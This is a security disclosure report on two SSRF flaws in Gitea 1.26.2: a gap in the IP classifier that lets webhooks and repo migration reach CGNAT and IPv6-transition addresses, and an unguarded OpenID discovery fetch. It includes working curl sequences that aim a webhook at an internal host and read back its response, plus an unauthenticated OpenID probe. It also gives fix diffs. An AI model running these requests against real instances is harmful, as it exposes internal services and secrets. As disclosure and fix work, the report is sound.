Gitea: Two SSRF findings
| --- | --- |
| Versions tested | gitea/gitea:1.26.2 (digest sha256:7d13848af12645600a5f9d93ee2560daa9c6fa6b5b859b7bff3a5e1c0b661031); gitea/gitea:latest resolves to the same digest at time of writing |
| Source review | git checkout v1.26.2 (commit 2c749ce) |
| Reproduction | bash run_poc.sh (single shot: brings up containers, runs three PoCs, prints captured evidence, tears down on exit) |
| Files touched by the fixes | modules/hostmatcher/hostmatcher.go, modules/auth/openid/openid.go |
Summary
Gitea guards outbound HTTP from webhooks and repo migration with net.Dialer.Control, the correct hook point. The IP classifier behind it misses ten address families, of which CGNAT (100.64.0.0/10) is the practically important one because it is plain IPv4 and is used today by Tailscale, AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any logged-in user can create a webhook pointing at an internal CGNAT host. The full HTTP response from that host (status, headers, body up to 1 MB) is stored in the webhook delivery log and rendered to the webhook owner on the hook detail page. The same gap applies to repo migration.
Separately, the OpenID sign-in form at /user/login/openid fetches the user-supplied provider URL server-side via openid-go, which uses http.DefaultClient. No hostmatcher, no IP filter, no CSRF, no authentication. When OpenID sign-in is enabled, anyone on the internet can drive Gitea into making arbitrary GET requests against internal IPs.
Both reproduce on gitea/gitea:1.26.2 (current stable) in default configuration. The bundled run_poc.sh reproduces all three primitives end-to-end in about one minute and tears the lab down at exit.
Finding 1: hostmatcher classifier passes CGNAT and IPv6 transition prefixes
The bug
modules/hostmatcher/hostmatcher.go:107-119, the external builtin:
case MatchBuiltinExternal:
if ip.IsGlobalUnicast() && !ip.IsPrivate() {
return true
}IsGlobalUnicast() && !IsPrivate() was written for stack bookkeeping, not as a security boundary. It catches RFC 1918, RFC 4193 ULA, link-local, loopback, and the IPv4-mapped ::ffff:0:0/96 prefix (because IsPrivate un-embeds that range via net.IP.To4()). Every other IPv6 transition prefix returns nil from To4(), so the embedded IPv4 is invisible to the classifier.
Address families that pass the guard, verified live on 1.26.2:
| Family | Example | Why missed |
| --- | --- | --- |
| CGNAT, RFC 6598 | 100.64.0.1 | IsPrivate() checks 10/8, 172.16/12, 192.168/16 only |
| NAT64 well-known, RFC 6052 | 64:ff9b::7f00:1 | To4() un-embeds only ::ffff:0:0/96 |
| NAT64 local-use, RFC 8215 | 64:ff9b:1::1 | same |
| 6to4, RFC 3056 | 2002:7f00:1:: | same |
| Teredo, RFC 4380 | 2001::abcd | same |
| IPv4-compatible | ::169.254.169.254 | same |
| SIIT, RFC 6145 | ::ffff:0:7f00:1 | same |
| Documentation | 2001:db8::1 | same |
| Benchmarking, RFC 2544 | 198.18.0.1 | not in any private check |
| TEST-NET, RFC 5737 | 192.0.2.1 | same |
CGNAT is the one that needs no IPv6 infrastructure. The 100.64.0.0/10 block overlaps with Tailscale (100.x), AWS VPC secondary CIDRs, and several Kubernetes pod-CIDR conventions. Any Gitea instance that shares a network with services on a CGNAT address is exploitable in default config.
NAT64, 6to4, Teredo, and SIIT need the matching gateway on the network to actually carry the packet. The guard still passes the address, so the bug is real at the guard layer; impact depends on whether the deployment has the corresponding transition mechanism. Lab confirmed: the guard passes, the connection then fails with network is unreachable on a stock Linux box.
The wrapping net.Dialer.Control callback is structurally correct (fires per redirect hop, post-DNS, pre-connect). The classifier is the only broken part.
Reachable sinks
Webhook delivery, services/webhook/deliver.go:
// :321-328
webhookHTTPClient = &http.Client{
Timeout: timeout,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: setting.Webhook.SkipTLSVerify},
Proxy: webhookProxy(allowedHostMatcher),
DialContext: hostmatcher.NewDialContext("webhook", allowedHostMatcher, nil, setting.Webhook.ProxyURLFixed),
},
}Authentication required: any logged-in user via user-level hooks (POST /api/v1/user/hooks) or repo-admin via repo-level hooks. The response body is captured up to 1 MB:
// :268
p, err := util.ReadWithLimit(resp.Body, 1024*1024)and stored in hook_task.response_content, then rendered on /{owner}/{repo}/settings/hooks/{id}.
Repo migration, services/migrations/http_client.go:27:
DialContext: hostmatcher.NewDialContext("migration", allowList, blockList, setting.Proxy.ProxyURLFixed),with a pre-flight check at services/migrations/migrate.go:43-87 (IsMigrateURLAllowed). Both layers call the same MatchIPAddr, so the pre-flight does not add coverage for the classifier gap.
History
Residual of CVE-2018-15192. The hostmatcher module landed in PR #17482 (2021) with external as the default. The classifier gap has been present from that PR.
Reproduce
run_poc.sh is the one-shot reproduction. It pulls gitea/gitea:1.26.2, brings up a Docker network on 100.64.0.0/24 with a mock internal service at 100.64.0.2:8080, creates a non-admin user, runs all three PoCs, runs a sanity check that confirms RFC 1918 / loopback / ULA / link-local are still blocked, and tears the lab down at exit.
Expected console output (trimmed):
[poc 1] webhook to CGNAT internal service (100.64.0.2:8080)
ok created webhook id=1, default ALLOWED_HOST_LIST (external builtin) allowed the CGNAT URL
internal response captured in hook_task.response_content:
{"status":200,
"headers":{"X-Internal-Secret":"CGNAT-INTERNAL-ONLY",
"Content-Type":"application/json", ...},
"body":"{\"proof\": \"CGNAT_INTERNAL_SERVICE_RESPONSE_BODY\",
\"client_seen\": \"100.64.0.10\",
\"secret\": \"do-not-leak-outside-network\"}"}
ok headline confirmed: X-Internal-Secret header reflected to webhook owner[poc 2] migration clone from CGNAT (http://100.64.0.2:8080/fake.git)
migrate API returned HTTP 201
mock log:
GET /fake.git/info/refs?service=git-upload-pack from=100.64.0.10
GET /fake.git/HEAD from=100.64.0.10
ok git smart-HTTP exchange from gitea -> 100.64.0.2 confirmed
[sanity] verify the guard still rejects RFC 1918 / loopback / link-local
ok loopback v4 (http://127.0.0.1:8080/) blocked
ok RFC 1918 (http://10.0.0.1:8080/) blocked
ok loopback v6 (http://[::1]:8080/) blocked
ok ULA (http://[fc00::1]:8080/) blocked
ok link-local v4 (http://169.254.169.254/) blocked
Boiled down to raw HTTP, the webhook primitive is three calls:
TOKEN=$(curl -s -u attacker:pw -X POST \
http://localhost:3000/api/v1/users/attacker/tokens \
-H 'Content-Type: application/json' \
-d '{"name":"poc","scopes":["write:repository","write:user"]}' \
| sed -n 's/.*"sha1":"\([^"]*\)".*/\1/p')curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks \
-H "Authorization: token $TOKEN" -H 'Content-Type: application/json' \
-d '{"type":"gitea",
"config":{"url":"http://100.64.0.2:8080/internal","content_type":"json"},
"events":["push"],"active":true}'
curl -X POST http://localhost:3000/api/v1/repos/attacker/ssrf-lab/hooks/1/tests \
-H "Authorization: token $TOKEN"
The internal target's response is then visible on /{owner}/{repo}/settings/hooks/1, or in the SQLite column hook_task.response_content.
Suggested fix
Add an explicit non-routable prefix list to the external builtin:
--- a/modules/hostmatcher/hostmatcher.go
+++ b/modules/hostmatcher/hostmatcher.go
@@ -3,8 +3,9 @@ package hostmatcher import (
"net"
+ "net/netip"
"path/filepath"
"slices"
"strings"
)
+var nonRoutablePrefixes = []netip.Prefix{
+ netip.MustParsePrefix("100.64.0.0/10"), // CGNAT, RFC 6598
+ netip.MustParsePrefix("64:ff9b::/96"), // NAT64 well-known, RFC 6052
+ netip.MustParsePrefix("64:ff9b:1::/48"), // NAT64 local-use, RFC 8215
+ netip.MustParsePrefix("2001::/32"), // Teredo, RFC 4380
+ netip.MustParsePrefix("2002::/16"), // 6to4, RFC 3056
+ netip.MustParsePrefix("::ffff:0:0/96"), // SIIT (deprecated, still routable through translators)
+ netip.MustParsePrefix("::/96"), // IPv4-compatible (deprecated)
+ netip.MustParsePrefix("2001:db8::/32"), // documentation
+ netip.MustParsePrefix("198.18.0.0/15"), // benchmarking
+ netip.MustParsePrefix("192.0.0.0/24"), // IETF protocol assignments
+ netip.MustParsePrefix("192.0.2.0/24"), // TEST-NET-1
+ netip.MustParsePrefix("198.51.100.0/24"), // TEST-NET-2
+ netip.MustParsePrefix("203.0.113.0/24"), // TEST-NET-3
+}
+
+func isNonRoutable(ip net.IP) bool {
+ a, ok := netip.AddrFromSlice(ip)
+ if !ok {
+ return true
+ }
+ for _, p := range nonRoutablePrefixes {
+ if p.Contains(a) {
+ return true
+ }
+ }
+ return false
+}
+
func (hl *HostMatchList) checkIP(ip net.IP) bool {
if slices.Contains(hl.patterns, "*") {
return true
}
for _, builtin := range hl.builtins {
switch builtin {
case MatchBuiltinExternal:
- if ip.IsGlobalUnicast() && !ip.IsPrivate() {
+ if ip.IsGlobalUnicast() && !ip.IsPrivate() && !isNonRoutable(ip) {
return true
}hostmatcher_test.go currently has zero cases for any of the ten families. Suggested additions: at least one IPv4 (CGNAT 100.64.0.1) and four IPv6 (NAT64 well-known, NAT64 local-use, 6to4, IPv4-compatible).
Finding 2: OpenID discovery has no SSRF guard
The bug
routers/web/auth/openid.go:99:
url, err := openid.RedirectURL(id, redirectTo, setting.AppURL)The thin wrapper at modules/auth/openid/openid.go:36 forwards directly to the package-level function in github.com/yohcop/openid-go. That package keeps a defaultInstance:
// github.com/yohcop/openid-go v1.0.1, openid.go:15
var defaultInstance = NewOpenID(http.DefaultClient)http.DefaultClient has no transport customization, no Dialer.Control, no IP filtering. openid-go issues a server-side GET to the user-supplied URL to discover the OpenID endpoint. The fetch reaches any address Gitea can route to, including loopback, RFC 1918, link-local, and the same families listed in Finding 1.
The form does not enforce CSRF on this path. The endpoint accepts unauthenticated requests by design (it is the login page).
Default exposure
The setting that gates this endpoint is read from the [openid] section of app.ini:
// modules/setting/service.go:268-270
func loadOpenIDSetting(rootCfg ConfigProvider) {
sec := rootCfg.Section("openid")
Service.EnableOpenIDSignIn = sec.Key("ENABLE_OPENID_SIGNIN").MustBool(!InstallLock)It defaults to !InstallLock, so on a fresh container before the install wizard completes the endpoint is enabled. After INSTALL_LOCK=true it defaults off. Deployments that use OpenID for SSO set it explicitly. (Note for anyone reproducing in Docker: the entrypoint routes GITEA__service__ENABLE_OPENID_SIGNIN into [service], where the loader does not read it. Use GITEA__openid__ENABLE_OPENID_SIGNIN=true.)
History
Extends CVE-2021-45325. The 2019 fix (PR #5705) hid the error string that previously leaked internal topology to the requester. It did not add filtering to the discovery fetch itself. The underlying SSRF primitive remains.
Reproduce
One request, no cookie, no token:
curl -X POST http://localhost:3000/user/login/openid \
--data-urlencode 'openid=http://INTERNAL:PORT/path'Captured by the internal target (also shown in run_poc.sh's [poc 3] block):
GET /poc3-openid from=100.64.0.10
GET /poc3-openid from=100.64.0.10Two GETs (one for normalize, one for redirect-URL discovery), both unauthenticated, both with Accept: application/xrds+xml.
Exfiltration is blind. openid-go parses the response as XRDS or HTML for endpoint discovery and does not return the body to the caller. Useful for internal port scanning, IMDS probing, and timing oracles. Lower direct impact than Finding 1, but reachable without an account.
Suggested fix
Wire the hostmatcher into a custom *http.Client and create a dedicated openid-go instance:
--- a/modules/auth/openid/openid.go
+++ b/modules/auth/openid/openid.go
@@ -1,10 +1,28 @@
package openid-import "github.com/yohcop/openid-go"
+import (
+ "net/http"
+ "time"
+
+ "code.gitea.io/gitea/modules/hostmatcher"
+ "code.gitea.io/gitea/modules/proxy"
+ "github.com/yohcop/openid-go"
+)
var (
nonceStore = openid.NewSimpleNonceStore()
discoveryCache = newTimedDiscoveryCache(24 * time.Hour)
+ instance = openid.NewOpenID(&http.Client{
+ Timeout: 30 * time.Second,
+ Transport: &http.Transport{
+ Proxy: proxy.Proxy(),
+ DialContext: hostmatcher.NewDialContext("openid",
+ hostmatcher.ParseHostMatchList("openid", hostmatcher.MatchBuiltinExternal),
+ nil, nil),
+ },
+ })
)
func Verify(fullURL string) (id string, err error) {
- return openid.Verify(fullURL, discoveryCache, nonceStore)
+ return instance.Verify(fullURL, discoveryCache, nonceStore)
} // RedirectURL redirects browser
func RedirectURL(id, callbackURL, realm string) (string, error) {
- return openid.RedirectURL(id, callbackURL, realm)
+ return instance.RedirectURL(id, callbackURL, realm)
}openid.Normalize does not perform HTTP and does not need to change. Once Finding 1 is fixed, this MatchBuiltinExternal instance picks up the new prefix coverage automatically.